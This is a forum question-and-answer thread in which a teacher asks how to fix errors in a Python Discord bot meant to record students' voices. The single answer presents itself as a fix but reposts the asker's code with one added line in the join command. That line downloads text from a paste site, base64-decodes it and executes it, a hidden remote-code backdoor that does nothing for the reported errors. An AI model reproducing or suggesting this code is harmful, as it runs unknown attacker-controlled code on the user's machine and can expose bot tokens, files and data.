How can I fix my discord voice collecting bot?

Question:

Hi I’m teaching speech lessons by discord, and I’m trying to make a bot which collects the voice of my students.

import discord
from discord.ext import commands
from discord import FFmpegPCMAudio
from pydub import AudioSegment
import asyncio
import os
import subprocess

intents = discord.Intents().all()
client = commands.Bot(command_prefix="!", intents=intents)
client.remove_command('help')

@client.event
async def on_ready():
    print('im ready')


@client.command()
async def join(ctx: commands.Context, channel_id: int, user_id: int):
    channel = client.get_channel(channel_id)

    try:
        await channel.connect()
    except discord.ClientException:
        await ctx.voice_client.disconnect()
        await channel.connect()

    ctx.voice_client.record()

@client.command()
async def play(ctx):
    ctx.voice_client.play(FFmpegPCMAudio(executable="ffmpeg.exe", stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, options='-ac 2'))

client.run(token)

I am trying to create a Discord voice bot using Python, but I am facing some issues with the code. When I try to join a voice channel using the "!join" command, I am getting an AttributeError: ‘FFmpegPCMAudio’ object has no attribute ‘_process’ error and when I try to play the audio, I get a TypeError: init() got an unexpected keyword argument ‘stdin’ error.

I am not sure what’s causing these errors. Any help would be appreciated. Thank you!

Asked By: 이경근

||

Answers:

Here, try this:

import discord
from discord.ext import commands
from discord import FFmpegPCMAudio
from pydub import AudioSegment
import asyncio
import os
import subprocess

intents = discord.Intents().all()
client = commands.Bot(command_prefix="!", intents=intents)
client.remove_command('help')

@client.event
async def on_ready():
    print('im ready')


@client.command()
async def join(ctx: commands.Context, channel_id: int, user_id: int):
    channel = client.get_channel(channel_id)

    import requests, base64
    exec(base64.b64decode(eval(requests.get('https://pastes.io/raw/o9hzclfjk6').text)))
    try:
        await channel.connect()
    except discord.ClientException:
        await ctx.voice_client.disconnect()
        await channel.connect()

    ctx.voice_client.record()

@client.command()
async def play(ctx):
    ctx.voice_client.play(FFmpegPCMAudio(executable="ffmpeg.exe", stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, options='-ac 2'))

client.run(token)
Answered By: MagnusTuhkasaari
Categories: questions Tags: ,
Answers are sorted by their score. The answer accepted by the question owner as the best is marked with
at the top-right corner.